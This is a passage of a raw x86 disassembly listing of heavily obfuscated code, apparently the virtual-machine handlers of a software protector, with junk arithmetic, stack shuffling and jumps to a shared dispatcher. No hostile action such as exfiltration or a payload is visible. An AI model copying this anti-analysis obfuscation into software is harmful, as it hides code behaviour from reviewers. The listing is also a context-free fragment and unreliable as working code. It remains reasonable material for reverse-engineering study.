[esp-6EC0h+arg_6EB6+2] bts word ptr [esp-6EC0h+arg_6EB6+2], ax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58C0AA: ; CODE XREF: sub_581EE9+F7DEj mov edx, [esp-6EBCh+arg_6EB2+2] push edx jmp loc_591BF0 ; --------------------------------------------------------------------------- loc_58C0B3: ; DATA XREF: sub_581EE9+3CD3o mov cx, [esp+0] push esi jmp loc_58713D ; --------------------------------------------------------------------------- loc_58C0BD: ; CODE XREF: sub_581EE9+E1C0j pop ebx push ebp mov ebp, 2 add eax, ebp pop ebp xchg eax, [esp+0] mov esp, [esp+0] push 4F61h mov [esp-6EB4h+arg_6EAC], ecx jmp loc_590B5D ; --------------------------------------------------------------------------- loc_58C0DA: ; CODE XREF: sub_581EE9+408Bj mov esi, esp add esi, 4 push edx mov edx, 3B360177h inc edx xor edx, 5F980E50h shr edx, 1 add edx, 2278117Fh sub edx, 54CF190Fh sub esi, edx pop edx jmp loc_58DCF5 ; --------------------------------------------------------------------------- loc_58C105: ; CODE XREF: sub_581EE9+C185j xor ebx, 5CE4AE77h add eax, 4034389Dh add eax, ebx push esi mov esi, 62481811h dec esi and esi, 263D2B0Ah neg esi shr esi, 3 dec esi jmp loc_5900A0 ; --------------------------------------------------------------------------- loc_58C12A: ; CODE XREF: sub_581EE9+B8B5j or dh, 37h push ebx mov ebx, esp push 13Ch mov [esp-6EC0h+arg_6EB6+2], esi mov esi, 4 add ebx, esi pop esi jmp loc_58FC81 ; --------------------------------------------------------------------------- loc_58C145: ; CODE XREF: sub_581EE9+98A6j mov [esp-6EEAh+arg_6EE0+2], ebp mov ebp, esp add ebp, 4 push 2D5h mov [esp-6EE6h+arg_6EDC+2], edi jmp loc_58A7EE ; --------------------------------------------------------------------------- loc_58C15D: ; CODE XREF: sub_581EE9+7C82j add edx, 4 push 44ACh mov [esp-6ED6h+arg_6ECE], esi mov esi, 4 add edx, esi jmp loc_591C17 ; --------------------------------------------------------------------------- loc_58C177: ; CODE XREF: sub_581EE9+E51Fj pop esp cmp cl, al pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58C180: ; CODE XREF: sub_581EE9+A71Aj pop bx push ebx mov bh, 99h sub bh, 0FFh shl bh, 3 push eax mov ah, 60h push ebx jmp loc_58D6BB ; --------------------------------------------------------------------------- loc_58C194: ; CODE XREF: sub_581EE9+882Ej add ebx, edx mov edx, [esp-6ED6h+arg_6ECE] add esp, 4 xor ebx, [esp-6EDAh+arg_6ED2] jmp loc_58FC49 ; --------------------------------------------------------------------------- loc_58C1A7: ; DATA XREF: sub_581EE9+3D0Fo push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp-6EDCh+arg_6ED2+2], cl pushf jmp loc_58EBC4 ; --------------------------------------------------------------------------- loc_58C1B7: ; CODE XREF: sub_581EE9+F114j sub ecx, 547B6010h xor ecx, 0D0DCBA6Ah add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp-6EDCh+arg_6ED2+2] mov esp, [esp-6EDCh+arg_6ED2+2] jmp loc_5917D7 ; --------------------------------------------------------------------------- loc_58C1D7: ; CODE XREF: sub_581EE9+BC4Ej mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-6EDCh+arg_6ED2+2] pop esp pop ebp push edi push esi push 3E183026h jmp loc_58E6AF ; --------------------------------------------------------------------------- loc_58C1F6: ; CODE XREF: sub_581EE9+81F1j mov [esp-6E9Eh+arg_6E96], eax mov ah, cl jmp loc_589065 ; --------------------------------------------------------------------------- loc_58C200: ; DATA XREF: sub_581EE9+3CDFo mov eax, [esp-6E9Eh+arg_6E96] push 35F6h mov [esp-6E9Ah+arg_6E92], ecx jmp loc_58B72A ; --------------------------------------------------------------------------- loc_58C210: ; CODE XREF: sub_581EE9+E7A0j push 0D68h jmp loc_58BF70 ; --------------------------------------------------------------------------- loc_58C21A: ; CODE XREF: sub_581EE9+E304j and bh, 83h or bh, 0B0h neg bh jmp loc_589F39 ; --------------------------------------------------------------------------- loc_58C227: ; CODE XREF: sub_581EE9+8353j add ebp, esi pop esi xchg ebp, [esp-6ECCh+arg_6EC2+2] pop esp push ebp push eax mov eax, 66725480h mov ebp, eax jmp loc_58F5DD ; --------------------------------------------------------------------------- loc_58C23C: ; CODE XREF: sub_581EE9+BD55j shl ebp, 1 push ecx mov ecx, 72BA028Ch push esi jmp loc_591B24 ; --------------------------------------------------------------------------- loc_58C24A: ; CODE XREF: sub_581EE9+9EC2j add cl, 5Ch jmp loc_591C3E ; --------------------------------------------------------------------------- loc_58C252: ; CODE XREF: sub_581EE9+C621j push edx push [esp-6ED2h+arg_6ECE] mov edx, [esp-6ECEh+arg_6EC6] add esp, 4 pop [esp-6ED2h+arg_6ECA] jmp loc_58EAAE ; --------------------------------------------------------------------------- loc_58C265: ; CODE XREF: sub_581EE9+D336j mov [esp-6ED6h+arg_6ECE], edi mov edi, 1FCC707Ch jmp loc_5897CF ; --------------------------------------------------------------------------- loc_58C272: ; CODE XREF: sub_581EE9+6F49j push eax mov al, 3 xor al, 97h add al, 32h jmp loc_58BB98 ; --------------------------------------------------------------------------- loc_58C27E: ; CODE XREF: sub_581EE9+8458j push edx push [esp-6EEEh+arg_6EE8+2] pop edx pop [esp-6EEEh+arg_6EE4+2] jmp loc_58F383 ; --------------------------------------------------------------------------- loc_58C28C: ; CODE XREF: sub_581EE9+4DD7j mov dx, word ptr [esp-6EC2h+arg_6EBA] add esp, 2 pop edx sub bl, al jmp loc_58641B ; --------------------------------------------------------------------------- loc_58C29E: ; CODE XREF: sub_581EE9+A476j add esi, ecx add esi, 30D236FCh mov ecx, [esp-6ECAh+arg_6EC2] add esp, 4 sub esp, 4 mov [esp-6ECAh+arg_6EC2], eax mov eax, 161B3160h and eax, 55D1596Eh jmp loc_58B7E7 ; --------------------------------------------------------------------------- loc_58C2C4: ; CODE XREF: sub_581EE9+6A74j pop esp push [esp-6EFEh+arg_6EF6] pop ecx push 3A0Ch jmp loc_587908 ; --------------------------------------------------------------------------- loc_58C2D3: ; CODE XREF: sub_581EE9+CC0Cj or bh, 0BFh sub bh, 0FFh xor bh, 0Ch push small 366Ah mov word ptr [esp-6EF8h+arg_6EF0], cx jmp loc_58B551 ; --------------------------------------------------------------------------- loc_58C2E9: ; CODE XREF: sub_581EE9+CB7Bj pop edi xor ebx, eax mov dx, [esp+0] push eax mov eax, esp jmp loc_587E24 ; --------------------------------------------------------------------------- loc_58C2F8: ; CODE XREF: sub_581EE9+B41Cj push 6230h mov [esp-6EF4h+arg_6EEC], ebp push esp pop ebp add ebp, 4 push eax mov eax, 2 add ebp, eax pop eax push ebp push [esp-6EF0h+arg_6EEC] mov ebp, [esp-6EECh+arg_6EE4] push 780Ch mov [esp-6EE8h+arg_6EE0], esi mov esi, esp add esi, 4 push eax mov eax, 4 jmp loc_589F0E ; --------------------------------------------------------------------------- loc_58C334: ; CODE XREF: sub_581EE9+574Aj xchg eax, [esp-6F16h+arg_6F0E] pop esp test cl, al pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58C340: ; CODE XREF: sub_581EE9+4012j mov cx, word ptr [esp-6EC8h+arg_6EBE+2] push 610Fh mov [esp-6EC4h+arg_6EBA+2], esi push esp mov esi, [esp-6EC0h+arg_6EB6+2] add esp, 4 push ecx mov ecx, 4 sub esi, 30D236FCh jmp loc_58C29E ; --------------------------------------------------------------------------- loc_58C364: ; CODE XREF: sub_581EE9+5728j xor eax, esi jmp loc_58910A ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6F0Eh+arg_6F06] push edi push eax mov eax, esp jmp loc_5891FD ; --------------------------------------------------------------------------- loc_58C378: ; CODE XREF: sub_581EE9+B25Dj sub ecx, 75106257h add ecx, 0AF04BA17h mov ebp, ecx pop ecx add edi, ebp pop ebp push ebp mov ebp, 4 jmp loc_58C9CC ; --------------------------------------------------------------------------- loc_58C395: ; CODE XREF: sub_581EE9+C703j push 475Bh mov [esp-6F06h+arg_6EFE], ebx mov ebx, esp add ebx, 4 push ecx jmp loc_585E13 ; --------------------------------------------------------------------------- loc_58C3AB: ; CODE XREF: sub_581EE9+AF4Cj sub eax, 17275FE6h add eax, ebx add eax, 17275FE6h jmp loc_58D30A ; --------------------------------------------------------------------------- loc_58C3BC: ; DATA XREF: sub_581EE9+3CB3o lodsd xor eax, ebx push ebp mov ebp, 59A95D2Eh push edi mov edi, 52C508EEh xor ebp, edi pop edi jmp loc_58810D ; --------------------------------------------------------------------------- loc_58C3D3: ; CODE XREF: sub_581EE9+D2C1j mov edi, [esp-6EFEh+arg_6EF6] push ecx jmp loc_590B23 ; --------------------------------------------------------------------------- loc_58C3DC: ; CODE XREF: sub_581EE9+F3B6j pop ecx add ah, 0FFh jmp loc_58A0DF ; --------------------------------------------------------------------------- loc_58C3E5: ; CODE XREF: sub_581EE9+C32Cj pop edx push ecx mov ecx, esp add ecx, 4 jmp loc_58FDFA ; --------------------------------------------------------------------------- loc_58C3F4: ; CODE XREF: sub_581EE9+D3F5j add esi, eax pop eax mov ecx, esi mov esi, [esp-6F02h+arg_6EFA] add esp, 4 xor edi, ecx pop ecx jmp loc_585F5C ; --------------------------------------------------------------------------- loc_58C40A: ; CODE XREF: sub_581EE9+DE8Bj add esp, 4 jmp loc_589FC7 ; --------------------------------------------------------------------------- loc_58C415: ; CODE XREF: sub_581EE9+F755j mov esi, eax pop eax jmp loc_58B383 ; --------------------------------------------------------------------------- loc_58C41D: ; DATA XREF: sub_581EE9+3D1Bo lodsb push edx jmp loc_589DE4 ; --------------------------------------------------------------------------- loc_58C424: ; CODE XREF: sub_581EE9+F309j add ebx, 4 jmp loc_589B1C ; --------------------------------------------------------------------------- loc_58C42F: ; CODE XREF: sub_581EE9+588Ej push 68D9h mov [esp-6EC4h+arg_6EBA+2], edx mov edx, 4 sub ebp, 3A6B0133h sub ebp, 18BA2CAAh add ebp, edx jmp loc_58B59E ; --------------------------------------------------------------------------- loc_58C44F: ; CODE XREF: sub_581EE9+3F12j mov edx, 7E1A70E3h or edx, 69033382h neg edx jmp loc_5860A6 ; --------------------------------------------------------------------------- loc_58C461: ; CODE XREF: sub_581EE9+C6FBj mov ecx, 4 mov ebx, ecx pop ecx add eax, ebx push [esp-6EDCh+arg_6ED2+2] pop ebx push edi mov edi, esp add edi, 4 jmp loc_58726A ; --------------------------------------------------------------------------- loc_58C47D: ; CODE XREF: sub_581EE9+F4B2j sub ebp, 18DE32FDh push esi mov esi, 65343402h xor esi, 13097F15h push ebp mov ebp, 734C5DD7h dec ebp and ebp, 3F2C3CB6h shl ebp, 1 xor ebp, 701EC073h sub esi, ebp mov ebp, [esp-6ED0h+arg_6EC6+2] add esp, 4 sub ebp, esi pop esi or ebp, 59540919h sub ebp, 89D03220h sub ebx, 0CBD011Ch sub ebx, ebp jmp loc_5897E0 ; --------------------------------------------------------------------------- loc_58C4CB: ; CODE XREF: sub_581EE9+E6DAj pop eax push eax push esp pop eax push esi jmp loc_58A8F6 ; --------------------------------------------------------------------------- loc_58C4D5: ; CODE XREF: sub_581EE9+AC32j add ecx, 4 add ecx, 4 xchg ecx, [esp-6ED4h+arg_6ECA+2] pop esp jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58C4E7: ; CODE XREF: sub_581EE9+6392j sub esp, 4 mov [esp-6EC8h+arg_6EBE+2], ebx dec [esp-6EC8h+arg_6EBE+2] pop ebx sub ebx, 1 push ecx jmp loc_58AFF5 ; --------------------------------------------------------------------------- loc_58C4FD: ; CODE XREF: sub_581EE9+BF23j dec ebp neg ebp jmp loc_5887E0 ; --------------------------------------------------------------------------- loc_58C505: ; CODE XREF: sub_581EE9+C991j shr ebp, 1 push esi push 43484BC2h pop esi xor ebp, esi jmp loc_591B3E ; --------------------------------------------------------------------------- loc_58C515: ; CODE XREF: sub_581EE9+52B6j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58C51A: ; CODE XREF: sub_581EE9+91A7j add al, 0F0h push bx mov bh, 18h push ecx jmp loc_590787 ; --------------------------------------------------------------------------- loc_58C526: ; CODE XREF: sub_581EE9+44CDj pop edi sub esp, 4 jmp loc_590B67 ; --------------------------------------------------------------------------- loc_58C52F: ; CODE XREF: sub_581EE9+E471j add edi, 4FD0574h mov ebx, edi pop edi add edi, ebx mov ebx, [esp-6EECh+arg_6EE4] add esp, 4 push edx mov edx, 344059E9h xor edx, 2CF16544h jmp loc_5872DB ; --------------------------------------------------------------------------- loc_58C554: ; CODE XREF: sub_581EE9+C21Ej pop ebp push ecx push [esp-6EECh+arg_6EE8] pop ecx jmp loc_58CBA3 ; --------------------------------------------------------------------------- loc_58C560: ; CODE XREF: sub_581EE9+6398j push ecx mov cl, 0B0h not cl shl cl, 5 jmp loc_586047 ; --------------------------------------------------------------------------- loc_58C56D: ; CODE XREF: sub_581EE9+805Dj sub bh, ch pop ecx sub dl, bh pop ebx jmp loc_58F25A ; --------------------------------------------------------------------------- loc_58C578: ; CODE XREF: sub_581EE9+B0F2j xor esi, 4CCF4F09h dec esi jmp loc_58693E ; --------------------------------------------------------------------------- loc_58C584: ; CODE XREF: sub_581EE9+D5F8j pop ebp push edx jmp loc_58E6C4 ; --------------------------------------------------------------------------- loc_58C58B: ; CODE XREF: sub_581EE9+A9D3j pop edi push ecx push esp pop ecx jmp loc_587EE5 ; --------------------------------------------------------------------------- loc_58C594: ; CODE XREF: sub_581EE9+778Aj push 0D7Fh mov [esp-6ED2h+arg_6ECA], edx jmp loc_588A26 ; --------------------------------------------------------------------------- loc_58C5A1: ; CODE XREF: sub_581EE9+5937j mov edx, 270321DFh xor ebp, edx mov edx, [esp-6EC4h+arg_6EBA+2] push ebx mov ebx, esp add ebx, 4 jmp loc_5898F8 ; --------------------------------------------------------------------------- loc_58C5B9: ; CODE XREF: sub_581EE9+CAC9j add esi, 18244295h sub esi, edi sub esi, 18244295h mov edi, [esp-6EC0h+arg_6EB6+2] add esp, 4 and eax, esi push [esp-6EC4h+arg_6EBA+2] pop esi push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-6EC0h+arg_6EB6+2] pop esp or eax, eax jz loc_587902 push dword ptr [edi+1Ch] push esi mov esi, 0C066391h add [esp-6EBCh+arg_6EB6+2], esi pop esi jmp loc_58874E ; --------------------------------------------------------------------------- loc_58C601: ; CODE XREF: sub_581EE9+B8E6j add al, bh jmp loc_58C180 ; --------------------------------------------------------------------------- loc_58C608: ; CODE XREF: sub_581EE9+D3ABj sub esp, 4 mov [esp-6EBCh+arg_6EB2+2], ebx push 640Dh jmp loc_58D1B0 ; --------------------------------------------------------------------------- loc_58C618: ; CODE XREF: sub_581EE9+89A7j mov [esp-6ECEh+arg_6EC6], ebx push [esp-6ECEh+arg_6EC6] pop eax push 1DBEh mov [esp-6ECAh+arg_6EC2], esi push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_590580 ; --------------------------------------------------------------------------- loc_58C63B: ; DATA XREF: sub_581EE9+3CABo mov cx, word ptr [esp-6EC6h+arg_6EBE] push 44CDh mov [esp-6EC2h+arg_6EBA], ebp jmp loc_587B77 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6EC2h+arg_6EBA] push edi mov edi, esp push 2671h mov [esp-6EBAh+arg_6EB2], esi mov esi, 76333977h add esi, 1 sub esi, 5D6912B2h push edx mov edx, 41116889h or edx, 3CD029C8h jmp loc_5877C6 ; --------------------------------------------------------------------------- loc_58C67D: ; CODE XREF: sub_581EE9+DDFDj mov [esp-6EB6h+arg_6EAC+2], edx jmp loc_58B486 ; --------------------------------------------------------------------------- loc_58C685: ; CODE XREF: sub_581EE9+E8F5j xor [esp-6EB6h+arg_6EAC+2], eax jmp loc_590C54 ; --------------------------------------------------------------------------- loc_58C68D: ; CODE XREF: sub_581EE9+3F37j add ebx, edi jmp loc_58F7B0 ; --------------------------------------------------------------------------- loc_58C694: ; CODE XREF: sub_581EE9+83E9j shr ah, 3 jmp loc_58A1DB ; --------------------------------------------------------------------------- loc_58C69C: ; CODE XREF: sub_581EE9+DFA2j mov ebp, esp jmp loc_58FF3F ; --------------------------------------------------------------------------- loc_58C6A3: ; CODE XREF: sub_581EE9+A941j pop ecx push edi push [esp-6EC0h+arg_6EBA+2] jmp loc_58E6D0 ; --------------------------------------------------------------------------- loc_58C6AE: ; CODE XREF: sub_581EE9+9FC8j pop ecx add esi, 5EAA09FFh push ebp mov ebp, 39462607h shl ebp, 5 jmp loc_59186F ; --------------------------------------------------------------------------- loc_58C6C3: ; CODE XREF: sub_581EE9+EE91j mov esi, 4 add [esp+4], esi pop esi jmp loc_589B6A ; --------------------------------------------------------------------------- loc_58C6D2: ; CODE XREF: sub_581EE9+6528j sub ebp, 4D010F7Ch add esi, ebp pop ebp xchg esi, [esp-6E94h+arg_6E8A+2] jmp loc_58F4C1 ; --------------------------------------------------------------------------- loc_58C6E3: ; CODE XREF: sub_581EE9+A806j add edx, 4 xchg edx, [esp-6E94h+arg_6E8A+2] jmp loc_586B30 ; --------------------------------------------------------------------------- loc_58C6EE: ; CODE XREF: sub_581EE9+B783j pop ebp jmp loc_58C6E3 ; --------------------------------------------------------------------------- lodsb sub al, 24h add al, 22h jmp loc_58A241 ; --------------------------------------------------------------------------- loc_58C6FE: ; CODE XREF: sub_581EE9+A09Bj pop ebp jmp loc_587FDB ; --------------------------------------------------------------------------- loc_58C704: ; CODE XREF: sub_581EE9+6BADj add eax, edi jmp loc_58A350 ; --------------------------------------------------------------------------- loc_58C70B: ; DATA XREF: sub_581EE9+3B03o mov sp, word ptr [esp-6EF6h+arg_6EEC+2] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58C714: ; CODE XREF: sub_581EE9+8953j sub ebx, 4 xchg ebx, [esp-6F06h+arg_6EFE] jmp loc_5890B6 ; --------------------------------------------------------------------------- loc_58C71F: ; CODE XREF: sub_581EE9+7800j mov [esp+0], ecx mov ecx, esp push eax mov eax, 79442B84h xor eax, 0A0343A1h not eax jmp loc_590C62 ; --------------------------------------------------------------------------- loc_58C736: ; DATA XREF: sub_581EE9+3BE7o push dword ptr [edi+1Ch] popf pop ax adc word ptr [esp-6EE0h+arg_6ED6+2], ax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58C746: ; CODE XREF: sub_581EE9+B137j mov esi, 4 add ebp, esi jmp loc_5868AA ; --------------------------------------------------------------------------- loc_58C752: ; CODE XREF: sub_581EE9+CE08j push eax jmp loc_587FE6 ; --------------------------------------------------------------------------- loc_58C758: ; CODE XREF: sub_581EE9+D5AEj push 4352h jmp loc_586E6B ; --------------------------------------------------------------------------- loc_58C762: ; CODE XREF: sub_581EE9+41C0j shl edx, 6 neg edx xor edx, 4A2FD034h add edi, 520E54A0h add edi, edx sub edi, 520E54A0h pop edx sub edi, esi push ecx mov ecx, 3F7D395Ah neg ecx inc ecx xor ecx, 91DEF593h sub edi, ecx pop ecx mov esi, [esp-6EC6h+arg_6EBE] push ebx push esp pop ebx push edi mov edi, 4 add ebx, edi pop edi push esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp-6EC2h+arg_6EBA] pop esp retn ; --------------------------------------------------------------------------- jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58C7B2: ; CODE XREF: sub_581EE9+AE8Bj sub ebx, 44BE44CCh pop small word ptr [eax] jmp loc_58BD2C ; --------------------------------------------------------------------------- loc_58C7C0: ; CODE XREF: sub_581EE9+7566j mov [esp-6EEEh+arg_6EE4+2], edi push esp jmp loc_58A665 ; --------------------------------------------------------------------------- loc_58C7C9: ; CODE XREF: sub_581EE9+5B90j mov dl, al mov bh, dl pop edx jmp loc_58D32E ; --------------------------------------------------------------------------- loc_58C7D3: ; CODE XREF: sub_581EE9+B24Ej mov edx, 4 jmp loc_58A1AA ; --------------------------------------------------------------------------- loc_58C7DD: ; CODE XREF: sub_581EE9+6BBEj add ecx, edi jmp loc_58735A ; --------------------------------------------------------------------------- loc_58C7E4: ; CODE XREF: sub_581EE9+EA1Bj pop ecx push 4C79h mov [esp-6EF6h+arg_6EEC+2], ebp mov ebp, 1869671Ch jmp loc_58D237 ; --------------------------------------------------------------------------- loc_58C7F7: ; CODE XREF: sub_581EE9+B02Cj xor eax, ebx push edx mov edx, 40504E7Ch add eax, edx push [esp-6EF2h+arg_6EE8+2] push dword ptr [esp] jmp loc_58F9D6 ; --------------------------------------------------------------------------- loc_58C80C: ; CODE XREF: sub_581EE9+E76Bj sub al, 0B5h sub al, 74h sub al, dh push edx mov dh, 0AFh inc dh shr dh, 7 not dh push ecx jmp loc_589795 ; --------------------------------------------------------------------------- loc_58C822: ; CODE XREF: sub_581EE9+D2CCj add edi, ecx add edi, 3E0D71FBh jmp loc_58C6A3 ; --------------------------------------------------------------------------- loc_58C82F: ; CODE XREF: sub_581EE9+57C3j mov ebx, 2ECC7BBAh and ebx, 38E905C8h and ebx, 3B7048B2h add ebx, 9966726Bh jmp loc_58BF10 ; --------------------------------------------------------------------------- loc_58C84B: ; CODE XREF: sub_581EE9+F017j push 36FAh mov [esp-6EFEh+arg_6EF6], eax jmp loc_586A92 ; --------------------------------------------------------------------------- loc_58C858: ; CODE XREF: sub_581EE9+C380j mov ebp, 4 add esi, ebp pop ebp xchg esi, [esp-6F02h+arg_6EFA] mov esp, [esp-6F02h+arg_6EFA] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58C86B: ; DATA XREF: sub_581EE9+3D7Fo lodsd sub esp, 4 jmp loc_58F746 ; --------------------------------------------------------------------------- loc_58C877: ; CODE XREF: sub_581EE9+5AB8j push edx push 0 push [esp-6EF2h+arg_6EE8+2] push [esp-6EEEh+arg_6EE4+2] pop edx add esp, 4 jmp loc_588EB3 ; --------------------------------------------------------------------------- loc_58C88F: ; CODE XREF: sub_581EE9+7593j mov [esp-6ED6h+arg_6ECE], ebp mov ebp, 59AA42BDh mov ecx, ebp pop ebp sub eax, 58C14D10h jmp loc_5905DF ; --------------------------------------------------------------------------- loc_58C8A4: ; CODE XREF: sub_581EE9+E3EDj add ebp, ebx jmp loc_58CC7E ; --------------------------------------------------------------------------- loc_58C8AB: ; CODE XREF: sub_581EE9+47A1j sub esp, 4 mov [esp-6EFAh+arg_6EF0+2], ecx jmp loc_58B126 ; --------------------------------------------------------------------------- loc_58C8B6: ; CODE XREF: sub_581EE9+C8E5j mov esi, [esp-6EFAh+arg_6EF0+2] add esp, 4 jmp loc_58C58B ; --------------------------------------------------------------------------- loc_58C8C1: ; CODE XREF: sub_581EE9+7D87j mov ecx, edx pop edx and edi, ecx pop ecx push 1E1Dh mov [esp-6ED4h+arg_6ECA+2], eax jmp loc_58A346 ; --------------------------------------------------------------------------- loc_58C8D4: ; CODE XREF: sub_581EE9+EEF6j mov ecx, eax pop eax push ebp jmp loc_58B8C3 ; --------------------------------------------------------------------------- loc_58C8DD: ; CODE XREF: sub_581EE9+594Dj add esp, 4 push dword ptr [ebx] add [esp-6EC0h+arg_6EB6+2], 719C7337h jmp loc_58F13B ; --------------------------------------------------------------------------- loc_58C8F1: ; CODE XREF: sub_581EE9+8E4Fj sub esp, 2 mov word ptr [esp-6E88h+arg_6E80], dx mov dh, 0B4h add al, dh pop dx jmp loc_591B63 ; --------------------------------------------------------------------------- loc_58C903: ; CODE XREF: sub_581EE9+9F4Dj mov [esp-6ED2h+arg_6ECA], ecx push esp pop ecx push edx mov edx, 4 add ecx, edx jmp loc_58E0ED ; --------------------------------------------------------------------------- loc_58C915: ; CODE XREF: sub_581EE9+BE63j or dl, 71h add dl, 4 jmp loc_58F11E ; --------------------------------------------------------------------------- loc_58C920: ; CODE XREF: sub_581EE9+65EEj mov edi, 51B169B3h and edi, 19667FAEh dec edi jmp loc_58BA58 ; --------------------------------------------------------------------------- loc_58C931: ; CODE XREF: sub_581EE9+7887j push dword ptr [esp+0] jmp loc_5891EE ; --------------------------------------------------------------------------- loc_58C939: ; CODE XREF: sub_581EE9+4511j mov ax, 4C0Ch xor ax, 140Ch shr ax, 2 sub ax, 62A6h jmp loc_590F84 ; --------------------------------------------------------------------------- loc_58C94E: ; CODE XREF: sub_581EE9+525Fj mov ebx, 4 push edi mov edi, 201971B1h and edi, 281C25FFh xor edi, 4FB049FAh add edi, 1BC81E1Ah add edi, 9DAC876Fh add esi, edi jmp loc_59076B ; --------------------------------------------------------------------------- loc_58C978: ; CODE XREF: sub_581EE9+B922j xor [esp-6EE0h+arg_6ED6+2], eax xor eax, [esp-6EE0h+arg_6ED6+2] pop esp inc byte ptr [esp-6EE4h+arg_6EDC] pushf jmp loc_58BE3B ; --------------------------------------------------------------------------- loc_58C988: ; CODE XREF: sub_581EE9+FC58j add esp, 4 add edx, 9165E55h add edx, ebp sub edx, 9165E55h mov ebp, [esp-6EE4h+arg_6EDC] add esp, 4 xchg edx, [esp-6EE8h+arg_6EE0] pop esp add byte ptr [esp-6EECh+arg_6EE4], al pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58C9B2: ; CODE XREF: sub_581EE9+B4A6j mov edi, 1DD92961h or edi, 0DA74DAAh jmp loc_59085A ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6EE8h+arg_6EE0] push ecx jmp loc_590BD0 ; --------------------------------------------------------------------------- loc_58C9CC: ; CODE XREF: sub_581EE9+A4A7j add edi, 1AAE4070h jmp loc_5876EC ; --------------------------------------------------------------------------- loc_58C9D7: ; CODE XREF: sub_581EE9+4768j inc bl add bl, 1Ah and dh, bl pop ebx jmp loc_58F2FD ; --------------------------------------------------------------------------- loc_58C9E4: ; CODE XREF: sub_581EE9+4DB9j push ebp mov ebp, 626A11C7h push eax jmp loc_58DC34 ; --------------------------------------------------------------------------- loc_58C9F0: ; CODE XREF: sub_581EE9+F573j push ebp push edx mov edx, 5A843335h not edx shr edx, 8 dec edx shr edx, 3 add edx, 0FFEB5087h mov ebp, edx pop edx mov ecx, ebp pop ebp add ecx, edx push ebx mov ebx, 0 sub ebx, 41796E48h add ebx, ecx add ebx, 41796E48h mov [ebx], al pop ebx push [esp-6EBAh+arg_6EB2] mov ecx, [esp-6EB6h+arg_6EAC+2] jmp loc_5886AB ; --------------------------------------------------------------------------- loc_58CA30: ; CODE XREF: sub_581EE9+F8E9j xchg ebp, [esp-6EB6h+arg_6EAC+2] pop esp push ebx mov ebx, 4 add esi, ebx pop ebx jmp loc_58F338 ; --------------------------------------------------------------------------- loc_58CA42: ; CODE XREF: sub_581EE9+ECC0j push ebx mov ebx, 4 add ebp, ebx jmp loc_5918C3 ; --------------------------------------------------------------------------- loc_58CA4F: ; CODE XREF: sub_581EE9+68DDj push [esp-6ECCh+arg_6EC6+2] pop ecx pop [esp-6ECCh+arg_6EC2+2] mov esp, [esp-6ED0h+arg_6EC6+2] xor [esp-6ED0h+arg_6EC6+2], eax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58CA63: ; CODE XREF: sub_581EE9+B7C0j sub esp, 4 mov [esp-6EC8h+arg_6EBE+2], edi mov edi, 2 add ebx, 24756338h jmp loc_587F8E ; --------------------------------------------------------------------------- loc_58CA7C: ; CODE XREF: sub_581EE9+9E39j pop esp mov [esp+0], ecx mov ecx, 4856232Eh sub ecx, 41963C9Eh add edi, ecx pop ecx xor eax, edi pop edi push esi mov esi, 8C06CC3h jmp loc_5865AD ; --------------------------------------------------------------------------- loc_58CA9C: ; CODE XREF: sub_581EE9+8375j mov edi, [esp-6EC2h+arg_6EBA] jmp loc_586ED2 ; --------------------------------------------------------------------------- loc_58CAA4: ; CODE XREF: sub_581EE9+C85Cj mov [esp-6EC2h+arg_6EBA], esi jmp loc_58FAB0 ; --------------------------------------------------------------------------- loc_58CAAC: ; CODE XREF: sub_581EE9+3FCAj add [esp-6ECCh+arg_6EC2+2], 4 pop ebp add ebp, 4 push 134h mov [esp-6ECCh+arg_6EC2+2], eax push edx push 2 pop edx mov eax, edx jmp loc_590D2B ; --------------------------------------------------------------------------- loc_58CACD: ; CODE XREF: sub_581EE9+E7F8j add eax, 4 add eax, 4 xchg eax, [esp-6EC8h+arg_6EBE+2] pop esp push eax mov ah, 89h shl ah, 4 push ecx mov cl, 34h jmp loc_59129D ; --------------------------------------------------------------------------- loc_58CAE7: ; CODE XREF: sub_581EE9+E30Dj add ebx, 4 sub ebx, 4 xchg ebx, [esp-6EC4h+arg_6EBA+2] pop esp mov [esp-6EC8h+arg_6EBE+2], ebp push esi mov esi, 70226902h mov ebp, 63384253h dec ebp xor ebp, 8BC3D11Fh jmp loc_5909CC ; --------------------------------------------------------------------------- loc_58CB0E: ; CODE XREF: sub_581EE9+FC6Cj mov esp, [esp-6EC4h+arg_6EBA+2] push 5371h mov [esp-6EC0h+arg_6EB6+2], ecx push esp pop ecx jmp loc_58C4D5 ; --------------------------------------------------------------------------- loc_58CB20: ; CODE XREF: sub_581EE9+85C9j shl ecx, 3 xor ecx, 92B2BD34h mov esi, ecx jmp loc_5910A5 ; --------------------------------------------------------------------------- loc_58CB30: ; CODE XREF: sub_581EE9+BD60j movzx eax, al pop small word ptr [edi+eax*4] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58CB3C: ; CODE XREF: sub_581EE9+BAE9j xor ebp, [esp-6E86h+arg_6E7C+2] mov esp, [esp-6E86h+arg_6E7C+2] jmp loc_5864AD ; --------------------------------------------------------------------------- loc_58CB47: ; CODE XREF: sub_581EE9+F201j add edi, 4 xchg edi, [esp-6E86h+arg_6E7C+2] jmp loc_58FEB7 ; --------------------------------------------------------------------------- loc_58CB55: ; CODE XREF: sub_581EE9+C808j mov edx, [esp-6E86h+arg_6E7C+2] add esp, 4 push 7A22h mov [esp-6E86h+arg_6E7C+2], esi push esp pop esi sub esp, 4 mov dword ptr [esp-6E82h+arg_6E7A], eax 